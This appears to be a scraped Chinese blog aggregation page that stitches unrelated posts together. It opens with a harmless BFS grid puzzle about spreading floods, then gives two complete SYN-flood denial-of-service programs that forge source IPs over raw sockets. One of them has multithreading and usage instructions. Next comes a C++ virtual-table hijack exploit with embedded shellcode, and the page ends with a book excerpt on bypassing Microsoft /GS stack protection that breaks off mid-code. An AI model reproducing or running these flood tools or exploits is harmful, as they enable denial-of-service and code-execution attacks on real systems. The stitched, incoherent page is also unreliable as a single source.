c++洪水攻击
2019-06-01 16:27:18 weixin_44336954 阅读数 13
描述

魔法森林的地图是R行C列的矩形。能通行的空地表示为'.',C君倾倒洪水的地点标记为'*',无法通行的巨石阵标记为'X',海狸的巢穴标记为'D',而画家和三只小刺猬的初始位置标记为'S'。

每一分钟,画家和三个小刺猬可以走到相邻(上、下、左或右)的四个空地之一。与此同时,洪水每一分钟也会扩大到相邻(上、下、左或右)的所有的空地。一旦空地被淹没,就无法再通行。洪水无法通过巨石阵。但是海狸的巢穴建在很高的地方,永远不会淹没。

注意,画家和三只小刺猬无法进入即将被淹没的空地,即如果他们与洪水在同一分钟到达某个空地,就不能进入。

编写一个程序,给定一个魔法森林的地图,输出为了让画家和三只小刺猬安全地到达海狸的巢穴所需的最短时间。


输入
第1行:2个整数R,C

接下来R行,每行C个字符 ('.', '*', 'X', 'D' 或 'S')

地图只含有恰好1个'D'和1个'S',而'*'可能有零个或多个


输出
1个整数,表示最短的到达狸的巢穴所需的时间。如果无法到达,输出"KAKTUS"



输入样例 1 

3 6
D...*.
.X.X..
....S.
输出样例 1

6
输入样例 2 

3 3
D.*
...
..S
输出样例 2

KAKTUS
输入样例 3 

3 3
D.*
...
.S.
输出样例 3

3
提示

数据规模:

1<= N, M <= 1000

思路:找到所有洪水打进队列,先深搜一次,新开一个二维数组a,表示洪水会在第a[i][j]秒到达位置(i,j),然后第二次搜索的时候的限制条件就只需要判断,目前时间加一是否小于等于下一步要走的点即可,这道题就难在需要两次搜索。

代码如下

//基于把所有信息糅合到一个标记数组...

#include <bits/stdc++.h>
using namespace std;
const int maxn = 1010;
int n, m;
int a[maxn][maxn];
int x_1, y_1, x_2, y_2;

int dir[4][2] = {{1,0},{-1,0},{0,1},{0,-1}};

bool in(int x, int y)
{
    return 1 <= x && x <= n && 1 <= y && y <= m;
}
queue<pair<int, int> > qu;
void bfs1()
{
    while(!qu.empty())
    {
        int x = qu.front().first;
        int y = qu.front().second;
        qu.pop();
        for(int i = 0; i < 4; i++)
        {
            int tx = x + dir[i][0];
            int ty = y + dir[i][1];
            if(in(tx, ty) && a[tx][ty] == 0)
            {
                qu.push(make_pair(tx,ty));
                a[tx][ty] = a[x][y] + 1;
            }
        }
    }
}

int bfs2()
{
    queue<pair<int, int> > qu;
    qu.push(make_pair(x_1, y_1));
    a[x_1][y_1] = -1;
    while(!qu.empty())
    {
        int x = qu.front().first;
        int y = qu.front().second;
        qu.pop();
        for(int i = 0; i < 4; i++)
        {
            int tx = x + dir[i][0];
            int ty = y + dir[i][1];
            if(tx == x_2 && ty == y_2)
                return abs(a[x][y]);
            if(in(tx, ty) &&(abs(a[x][y]-1) < a[tx][ty] || a[tx][ty]==0) )
            {
                qu.push(make_pair(tx,ty));
                a[tx][ty] = a[x][y]-1;
            }
        }
    }
    return -1;
}

int main()
{
    cin >> n >> m;
    for(int i = 1; i <= n; i++)
    {
        for(int j = 1; j <= m; j++)
        {
            char ch;
            cin >> ch;
            if(ch == 'X') a[i][j] = -1;
            if(ch == 'S') x_1 = i, y_1 = j;
            if(ch == 'D') x_2 = i, y_2 = j, a[i][j]=-1;
            if(ch == '*'){qu.push(make_pair(i,j));a[i][j]=1;}
        }
    }
    
    bfs1();//void
    int ans = bfs2();
    if(ans == -1)
        cout << "KAKTUS" << endl;
    else 
    cout << ans << endl;//int
    
    return 0;
}

ov.

2012-09-12 07:09:03 zhihu008 阅读数 2573

SYN洪水C++代码

源码别人的 编译的时候有很多错误,自己修正了一下,改成这样了
头文件 tsf.h
//头文件
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"WS2_32.LIB")
#include <stdio.h>
#include <stdlib.h>
//////////////////////////////////////////////////////////////////////////////////
//常量
#define F_PORT 8000
#define K_PORT 8001
#define F_IP   "127.0.0.1"
#define K_IP   "127.0.0.1"
/////////////////////////////////////////////////////////////////////////////////
//变量
int DDOS_YESNO;
////////////////////////////////////////////////////////////////////////////////
//结构定义
//IP头
typedef struct tag_ip_Header//ip首部
{
unsigned char h_verlen;//4位手部长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int SourceIP;//伪造IP地址
unsigned int DestIP;//攻击的ip地址
}IPHEADER;
//TCP头
typedef struct tag_tcp_Header
{
USHORT th_sport;//伪造端口
USHORT th_dport;//攻击端口
unsigned int th_seq;//32位系列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首布长度,6位保留字
unsigned char th_flag;//6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//
}TCPHEADER;
//伪TCP头
typedef struct tsd_hdr //定义TCP伪首部
{
unsigned long saddr;     //源地址
unsigned long daddr;     //目的地址
char           mbz;
char           ptcl;     //协议类型
unsigned short tcpl;    //TCP长度
}PSD_HEADER;

//计算校验和的函数-checksum 。。。。。。。。别处拷贝来的代码 懒得自己想了
USHORT checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while (size>1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if (size)
{
cksum+=*(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}


////////////////////////////////////////////////////////////////////////////////
//初始化
unsigned long tsf()
{
SOCKET             sendSocket;
SOCKADDR_IN        Sin;   //IP信息结构
IPHEADER           ipHeader;//IP头
TCPHEADER          tcpHeader; //TCP头
PSD_HEADER         psdHeader; //伪TCP头
WSADATA            WSAData;
char               szSendBuf[1024] = "";//1024字节
if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0)
{
printf("WSAStartup函数这里出错了\n");
return 0;
}

if(sendSocket=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)==INVALID_SOCKET)
{
printf("WSASocket函数这里出错了\n");
return 0;
}

BOOL flag=1;
if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR)      
{
printf("Setsockopt函数这里出错了\n");
return 0;
}
int timeout = 3000;
if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR)     
{
printf("Setsockopt2函数这里出错了\n");
return 0;
}


Sin.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
Sin.sin_port=htons(F_PORT); //目标端口号(使用网络字节顺序)
Sin.sin_addr.S_un.S_addr=inet_addr(F_IP);   //目标IP地址
char         src_ip[20] = {0};
///////////////////////////////////////////////////////////////////////////////////
//攻击开始
while(!DDOS_YESNO)   
{
wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); //格式化字符串 伪造IP

//填充IP头
ipHeader.h_verlen = (4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ipHeader.tos = 0;
ipHeader.total_len = htons(sizeof(ipHeader)+sizeof(tcpHeader)); //16位总长度(字节)
ipHeader.ident = 1;   //16位标识
ipHeader.frag_and_flags = 0x40;   //3位标志位
ipHeader.ttl = 128;    //8位生存时间TTL
ipHeader.proto = IPPROTO_TCP; //8位协议(TCP,UDP…)
ipHeader.checksum = 0;   //16位IP首部校验和
ipHeader.SourceIP = inet_addr(src_ip); //伪IP 伪装自己的IP
ipHeader.DestIP = Sin.sin_addr.s_addr; //目标地址
//填充TCP头
tcpHeader.th_sport = htons(K_PORT); //源端口号
tcpHeader.th_dport = htons(F_PORT); //目标端口
tcpHeader.th_seq = htonl( rand()%900000000 + 1 ); //SYN序列号
tcpHeader.th_ack = 0;   //ACK序列号置为0
tcpHeader.th_lenres = (sizeof(tcpHeader)/4<<4|0); //TCP长度和保留位
tcpHeader.th_flag = 0x02; //SYN 标志      //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG
tcpHeader.th_win = htons(512); //窗口大小
tcpHeader.th_sum = 0; //校验
tcpHeader.th_urp = 0; //紧急数据偏移量


//填充TCP伪头(用于计算校验和,并不真正发送)
psdHeader.saddr = ipHeader.SourceIP; //伪IP 伪装自己的IP
psdHeader.daddr = ipHeader.DestIP; //目标地址
psdHeader.mbz = 0;
psdHeader.ptcl = IPPROTO_TCP; //协议类型
psdHeader.tcpl = htons(sizeof(tcpHeader));   //TCP长度
/////////////////////////////////////////////////////////////////////////////////////

//计算TCP校验和
//计算TCP校验和,计算校验和时需要包括TCP pseudo header
memcpy( szSendBuf, &psdHeader, sizeof(psdHeader) );
memcpy( szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader) );
tcpHeader.th_sum = checksum( (USHORT *) szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader) );

//计算IP首部检验和
memcpy( szSendBuf, &ipHeader, sizeof(ipHeader) );
memcpy( szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader) );
memset( szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4 );   //内存空间初始化
ipHeader.checksum = checksum( (USHORT *) szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader) );

//用IP头和TCP头填充szSendBuf字符数组
memcpy(szSendBuf,&ipHeader,sizeof(ipHeader) ); //填充发送缓冲区
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader) ); //填充发送缓冲区
/////////////////////////////////////////////////////////////////////////////////////
sendto(sendSocket, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*)&Sin, sizeof(Sin)); //发送TCP报文
Sleep(100); //暂停(毫秒)
}

return 0;
}

主函数文件.cpp       没有什么代码 直接调用编写好的头文件里的函数就可以了

#include "tsf.h"


int main(int argc, char* argv[])
{
tsf();

printf("\n");
system("pause");
return 0;
}

有一点我想不明白。。 在程序运行的时候setsockopt函数出错了。。。因为这句函数的意思我也不完全明白。只知道是设置超时时间类似的。。所以找不到出错的原因 高手指点下。。

下面我来简单的描述一下SYN洪水的原理
1创建与服务器连接的SOCKET
2构造原始数据包原是数据包的组成为 IP首部,TCP首部,据自己理解应该还可以随便加点垃圾数据加大数据包的大小把。。
3发送原始数据包。
2018-02-23 22:13:43 qq_19683651 阅读数 289

C++虚函数和类在内存中的位置关系
这里写图片描述

虚函数示例

/*
    标题:攻击C++虚函数
    操走系统:xp s3
    编辑器:vc6.0
*/

#include <iostream.h>
#include <windows.h>

class People{
public:
    People(char* m_id,char* m_name){
        strcpy(id,m_id);
        strcpy(name,m_name);
    }
    virtual void print(){
        cout<<"I am Person\n";
        cout<<"ID:\t"<<id<<endl;
        cout<<"Name:\t"<<name<<endl;
    }
    virtual void GetName(){
        cout<<"I am Person\n";
        cout<<"Name:\t"<<name<<endl;
    }
    char name[100];
    char id[100];
};

class Student:public People{
public:
    Student(char* m_id,char* m_name,char* m_grade):People(m_id,m_name){strcpy(grade,m_grade);}
    char grade[100];
    virtual void print(){
        cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
        GetName();
    }
    virtual void GetName(){
        cout<<"I am Student and my name is\t"<<name<<endl;
    }
};

int main(int argc,char** argv){
    Student s("0001","ysy","12");
    s.print();
    return 0;
}

分析

c++初始化一个含有虚函数的类student,返回值为0x12fe48,查看对应内存,前四个字节为虚表地址,后面接name和id这两个成员变量。

这里写图片描述
查看地址为0x428038的虚表,是两个虚函数的地址,ida在这边已经识别出来了。
这里写图片描述

如何利用

相比xp s2,在xp s3上,虚函数攻击会有所不同,可以发现在Student类中print这个虚函数里面再去调用GetName这个虚函数,就会使用到虚表,直接修改类中虚表地址,从而达到控制eip的目的,而且在一定情况下可以突破GS。
0x401450:将类的地址赋值给edx,也就是edx指向类中虚表指针
0x401453:将虚表地址赋值给eax,也就是获取虚表地址
0x40145a:获取虚表中第二个虚函数地址,也就是之前的GetName的地址
这里写图片描述

利用示例

直接构造一个虚表,然后将新的虚表地址覆盖类中的虚表指针

/*
    标题:攻击C++虚函数
    操走系统:xp s3
    编辑器:vc6.0
*/

#include <iostream.h>
#include <windows.h>
char shellcode[]="\x90\x90\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90";

void test(){
    cout<<"test\n";
}
class People{
public:
    People(char* m_id,char* m_name){
        strcpy(id,m_id);
        strcpy(name,m_name);
    }
    virtual void print(){
        cout<<"I am Person\n";
        cout<<"ID:\t"<<id<<endl;
        cout<<"Name:\t"<<name<<endl;
    }
    virtual void GetName(){
        cout<<"I am Person\n";
        cout<<"Name:\t"<<name<<endl;
    }
    char name[100];
    char id[100];
};

class Student:public People{
public:
    Student(char* m_id,char* m_name,char* m_grade):People(m_id,m_name){strcpy(grade,m_grade);}
    char grade[100];
    virtual void print(){
        cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
        GetName();
    }
    virtual void GetName(){
        cout<<"I am Student and my name is\t"<<name<<endl;
    }
};

int main(int argc,char** argv){
    int new_vftable[2];
    new_vftable[0]=(int)&test;
    new_vftable[1]=(int)&shellcode;
    Student s("0001","ysy","12");
    *(int*)&s=(int)&new_vftable;
    s.print();
    return 0;
}
2015-03-16 00:08:41 liujiayu2 阅读数 1872

==============================================================================

这段代码发送失败的原因:

      给Client发送拦截数据,XP SP2对raw socket有如下限制:
        1) 不能通过raw socket发送TCP报文。做此尝试时会得到10004号错误。
        2) 不能通过raw socket发送伪造源IP的UDP报文。
        3) 不能通过raw socket发送IP碎片。做此尝试时会得到10004号错误。
        因此在windows下采用libcap的发送接口。

=====================================================================


// DOS.cpp : 定义控制台应用程序的入口点。

//
#include "stdafx.h"
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <conio.h>


#pragma comment(lib, "ws2_32.lib")
#pragma pack(1)


#define SEQ 0x28376839               //随机号码


int threadnum,maxthread;             //线程控制
int port;                            //目标端口
char *DestIP;                        //目标IP


// 定义状态提示函数
void display(void)   
{
static int play=0;


// 进度条
char *plays[12]=
{
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
" | ",
" / ",
" - ",
" \\ ",
};
printf("=%s= %d threads \r", plays[play], threadnum);
play = (play==11) ? 0 : play+1;
}


//定义一个tcphdr结构来存放TCP首部(9个成员,20字节)
typedef struct tcphdr
{
USHORT th_sport;                    //16位源端口号
USHORT th_dport;                    //16位目的端口号
unsigned int th_seq;                //32位序列号
unsigned int th_ack;                //32位确认号
unsigned char th_lenres;            //4位首部长度+6位保留字中的4位
unsigned char th_flag;              //6位标志位
USHORT th_win;                      //16位窗口大小
USHORT th_sum;                      //16位效验和
USHORT th_urp;                      //16位紧急数据偏移量
}TCP_HEADER;


//定义一个iphdr来存放IP首部(10个成员,20字节)
typedef struct iphdr
{
unsigned char h_verlen;              //4位首部长度,和4位IP版本号
unsigned char tos;                   //8位类型服务
unsigned short total_len;            //16位总长度
unsigned short ident;                //16位标志
unsigned short frag_and_flags;       //3位标志位(如SYN,ACK,等等)
unsigned char ttl;                   //8位生存时间TTL
unsigned char proto;                 //8位协议(TCP,UDP)
unsigned short checksum;             //16位ip首部效验和
unsigned int sourceIP;               //32位伪造IP地址
unsigned int destIP;                 //32位攻击的ip地址
}IP_HEADER;


//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性(5个成员,12字节)
struct
{
unsigned long saddr;//源地址
unsigned long daddr;                //目的地址
char mbz;                           //置空
char ptcl;                          //协议类型
unsigned short tcpl;                //TCP长度
}PSD_HEADER;


//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}


//synflood线程函数
DWORD WINAPI SynfloodThread(LPVOID lp)
{
SOCKET  sock =NULL;
int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
struct        sockaddr_in sockAddr;
TCP_HEADER  tcpheader;
IP_HEADER   ipheader;
char        sendBuf[128];


//创建套接字
sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);
if(sock == INVALID_SOCKET)
{
printf("Socket failed: %d\n", WSAGetLastError());
return 0;
}


//设置IP_HDRINCL以便自己填充IP首部
ErrorCode = setsockopt(sock, IPPROTO_IP,IP_HDRINCL, (char *)&flag, sizeof(int));
if(ErrorCode == SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 0;
}


//设置发送超时
ErrorCode = setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&TimeOut, sizeof(TimeOut));
if(ErrorCode == SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 0;
}


//设置目标地址
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(DestIP);
sockAddr.sin_port =htons(port);
FakeIpNet=inet_addr(DestIP);
FakeIpHost=ntohl(FakeIpNet);


//填充IP首部
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(DestIP);


//填充TCP首部
tcpheader.th_dport=htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;


//填充TCP伪首部
PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));


for(;;)
{
SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
//ip头
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
//tcp头
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(SendSEQ);
tcpheader.th_sum = 0;
//TCP伪首部
PSD_HEADER.saddr=ipheader.sourceIP;


//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
int retSend = sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
if (retSend == SOCKET_ERROR)
{
int e = WSAGetLastError();
printf("sendto failed: %d\n",WSAGetLastError());
return 0;
}
display();
//Sleep(2000);
}




InterlockedExchangeAdd((long *)&threadnum,-1);
return 0;
}


//使用帮助
void usage(char *name)
{
printf("\t===================SYN Flood======================\n");
printf("\t==========gxisone@hotmail.com     2004/7/6========\n");
printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
printf("\tExample: %s 192.168.1.1 80 100\n",name);
}


//入口函数
int _tmain(int argc, _TCHAR* argv[])
{
getch();
if(argc!=4)
{
usage(argv[0]);
return 0;
}


int ErrorCode=0;
//取得目标主机IP
DestIP=argv[1];
//取得目标端口号
port=atoi(argv[2]);
//如果线程数大于100则把线程数设置为100
maxthread=(maxthread>100)?100:atoi(argv[3]);


WSADATA wsaData;
if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0)
{
printf("WSAStartup failed: %d\n",ErrorCode);
return 0;
}


printf("[start]...........\nPress any key to stop!\n");


//循环创建线程
while(threadnum < maxthread)
{
if(CreateThread(NULL, 0, SynfloodThread, 0, 0, 0))
{
Sleep(10);
threadnum++;
}
}


Sleep(1000*500);
WSACleanup();
printf("\n[Stopd]...........\n");


return 0;
}
2008-11-02 10:10:00 weixin_33827590 阅读数 11
http://book.chinaunix.net/showart.php?id=418

2.5 攻击示例:对Microsoft C++编译器的攻击

实际中的例子有助于辨识清楚前面所定义的术语。在这一节里将分析曾多次提到的缓冲区溢出攻击模式。当然,根据系统上 下文环境的不同,缓冲区溢出的危险性也各不相同。偶尔的缓冲区溢出只是技术层次上的一个bug(但确实是个问题),并不会导致不可接受的危险;但是,很多 时候,缓冲区溢出是很重要的现象,本书将利用整整一章(第7章)的篇幅讨论它。现在,先利用真实的例子来显示某个攻击模式是如何转变成一次攻击的。在这一 部分将会展示一些代码,而读者则可以扮演成一名攻击者,利用本书所提供的代码,然后编译这些代码,并运行编译后的代码,看看会发生什么。正如将要看到的, 这个例子十分有趣。

在2001年2月,Microsoft公司给它最新的C++编译器(Visual C++.NET或者可以叫做Visual C++ 7)增添了一个安全特性 (Chris Ren,一名数字研究者,发现了这个脆弱点,并对本节内容提供了很大的帮助)。要能实施这次攻击,首先需要找到带有这个脆弱点的编译器版本。

这个新的安全特性是希望能够防止某些形式的缓冲区溢出攻击,从而自动保护某些易受攻击的源代码。由这个新特性提供的 保护功能,允许开发者能像平常那样不停地使用易受攻击的字符串函数,例如strcpy()(这经常被看作出现bug的标志),但却会受到保护以防止栈溢 出。这个新的特性是基于Crispin Cowan的叫做“栈保护(StackGuard)”的创造性思想,当在构建标准本地代码时可以使用这个特性(不是.NET的中间件语言)[Cowan等 人,1998]。注意到这个新特性是利用受到保护的编译器,从而保护编译的程序。换句话说,利用这个特性应该能帮助开发者开发更安全的软件。然而在其初始 的版本中,所谓的Microsoft安全特性反而导致了对安全的错误理解,因为它很容易被攻击!Microsoft在面对安全漏洞时,总是显出已经找到了 有效的方法来保证系统安全的样子(过去他们一直都是这样做的)。

栈保护并不是一个很好的可以阻止缓冲区溢出攻击的方法。事实上,栈保护是在有相当严格的环境限制中才开发出来的。而Cowan仅仅是对gcc代码生成器进行了一些修补,这样就不需要全新的编译器,或者是对gcc编译器从头到尾进行重建。

Microsoft的安全特性是在面对潜在的攻击时,利用叫做“安全错误处理程序”的功能调用以防止代码受到攻击。 而某次攻击能很快被确认的事实则显示了攻击模式概念的强大作用。由于实施了安全错误处理程序,Microsoft的安全特性本身也就成了被攻击的对象。 哈!是不是比较可笑?攻击者可以发起有特殊目的的攻击,去攻击所谓的保护程序,从而可以很直接地击溃保护机制。当然这样的攻击方法属于一种新的攻击模式。

还有很多种知名的不是基于栈保护的用来防止缓冲区溢出攻击的代码编译生成方法。而Microsoft选择的是不良的 并且是缺乏适应性的解决方案,这就是典型的设计层缺陷,从而导致了非常严重的潜在的对用新编译器编译的代码的攻击。换句话说,Microsoft的编译器 在某种程度上来说成了脆弱点之源。

开发者和系统架构师需要有严格的软件安全概念—— 例如对源代码的复查,而不是依赖于运行时的编译器特性,期望能阻止某些类型的字符串缓冲区溢出攻击。静态分析工具,例如 Cigital的SourceScope和开放源码的ITS4,能够而且应该被用来检查在C++源码中的潜在问题,这也正是Microsoft所希望修补 的被破解的特性。事先把这些潜在的问题从代码中去除,会比在运行时尽力发现这些问题好得多7

正如比尔?盖茨Gates在2002年1月的备忘录中提到的,Microsoft一直致力于提高软件的安全性;但是,如果其自身的安全措施仍有系统结构上的安全问题,那么Microsoft就还需要进行相当多的努力来提高其本身的软件安全性。

和Microsoft息息相关的栈保护的另一机制,是其检查机制。然而,这种检查机制可以利用很多其他的方法迂回替 代。Cigital使用的攻击Microsoft机制的方法既不新鲜,也不需要其他额外的专门技术。如果Microsoft公司的研究人员曾经逐字逐句地 分析过栈保护的周边环境,那么他们就会意识到会存在这样的攻击。

2.5.1 攻击的技术细节

在Visual C++.NET(Visual C++ 7.0)的/GS编译选项中,可以让开发者在构建应用程序时使用一个叫做“安全缓冲检查”的选项。在2001年,至少有两篇Microsoft的文章介绍过这个技术8, 一篇文章的作者是Michael Howard,另一篇文章的作者是Brandon Bray。通过阅读有关/GS选项的文档,以及对选择了这个选项后编译器生成的二进制代码进行分析后,Cigital的研究员们发现/GS选项中的上述功 能实际上就是Win32端口的栈保护。这也已经被Immunix的研究员们独立地证明了。

对未经检测的栈缓冲区溢出,可以使得攻击者以很多的方式“劫持”程序的运行路径。一个众所周知的也是经常被使用的攻 击模式,就是在栈中用攻击者想使用的地址覆盖原先程序的返回地址,这样,当程序被攻击时,就不会跳转到执行原先设定的功能模块,攻击者可以在程序的跳转地 址处设置攻击代码,这样程序就会执行这些攻击代码。

栈保护的创造者们最先提出的思想是在功能模块的入口也就是返回地址前设定一个标志(canary),这样,可以利用 标志字段的值检查返回地址是不是被替换过。后来,他们又对其方法进行改进,利用标志字段的值和功能模块入口的返回地址进行异或(XOR)操作,防止攻击者 绕过标志字段从而改写其返回地址[Cowan等,1998]。栈保护措施被证明在运行时,在某些情况下,可以检测到某些类型的缓冲区溢出攻击并阻止这些攻 击。一个类似的工具(StachShield)则利用单独的栈结构保存程序返回地址,这也能在某些情况下消除缓冲区溢出攻击。

修改函数的返回地址并不是“劫持”程序的惟一方法。在文章phrack569中还讨论了其他可以绕过 缓冲保护的工具(例如栈保护或者StackShield)的一些可能攻击方法。下面是攻击模式的一些要点:如果在易受攻击的缓冲区之后的栈中有一指针类型 的变量,同时变量指向的区域将来会被用户数据填充的话,那么就有可能通过改写这个指针变量执行攻击。攻击者首先必须改写这些指针变量,使其指向攻击者所希 望指向的内存地址。这时则需要由攻击者提供指针变量值。攻击者所选择的理想的内存区域应该是在之后执行的程序中会调用的函数指针。文章Phrack介绍了 如何在全局偏移表(global offset table,GOT)中找到上述的函数指针。在实际中使用这种方法,绕过栈保护的攻击实例请参见:http: //www.securityfocus.com/archive/1/83769。

2.5.2 对Microsoft栈保护的概述

有关Microsoft的/GS的实现细节可以在如下三个CRT文件中得到,它们分别是seccinit.c、seccook.c以及secfail.c。通过检查选择了/GS选项后的编译器生成的指令代码,可以发现其他更多的信息。

在CRT_INIT的调用中首先会产生一个“security cookie”标志。同时还有一个新的库调用_set_security_error_handler,可以用来安装用户定义的处理程序。而用户处理程序 的函数指针将会存储在全局变量user_handler中。当从其他功能模块中跳出时,编译器产生的指令代码就会跳转到在seccook.c文件中定义的 函数_security_check_cookie。如果securityc cookie文件被修改,则会调用在secfail.c文件中定义的_security_error_handler。 _security_error_handler中的代码首先检查是否已经安装了用户定义的处理程序。如果安装了,则会调用用户定义的处理程序,否则显示 系统默认的“Buffer Overrun Detected”消息,同时程序结束。

在执行中,至少会有一个问题。在Windows中,不存在像GOT这样可写的变量区,所以即使给定了前面所述的栈的 大体情况,攻击者也不是很容易就能找到可用的函数指针。然而,由于能够得到user_handler变量,因此攻击者无需花费更多时间就能找到一个很好的 目标。

2.5.3 绕过Microsoft的安全特性

先看下面一段代码:

ContractedBlock.gifExpandedBlockStart.gifCode
 1None.gif
 2None.gif#include <stdio.h>
 3None.gif#include <string.h>
 4ExpandedBlockStart.gifContractedBlock.gif/**//*
 5InBlock.gifrequest_data, in parameter which contains user supplied encoded string like
 6InBlock.gif"host=dot.net&id=user_id&pw=user_password&cookie=da".
 7InBlock.gifuser_id, out parameter which is used to copy decoded 'user_id'.
 8InBlock.gifpassword, out parameter which is used to copy decoded 'password'
 9ExpandedBlockEnd.gif*/

10ExpandedBlockStart.gifContractedBlock.gifvoid decode(char *request_data, char *user_id, char *password)dot.gif{
11InBlock.gif    char temp_request[64];
12InBlock.gif    char *p_str;
13InBlock.gif    strcpy(temp_request, request_data);
14InBlock.gif    p_str = strtok(temp_request, "&");
15ExpandedSubBlockStart.gifContractedSubBlock.gif    while(p_str != NULL)dot.gif{
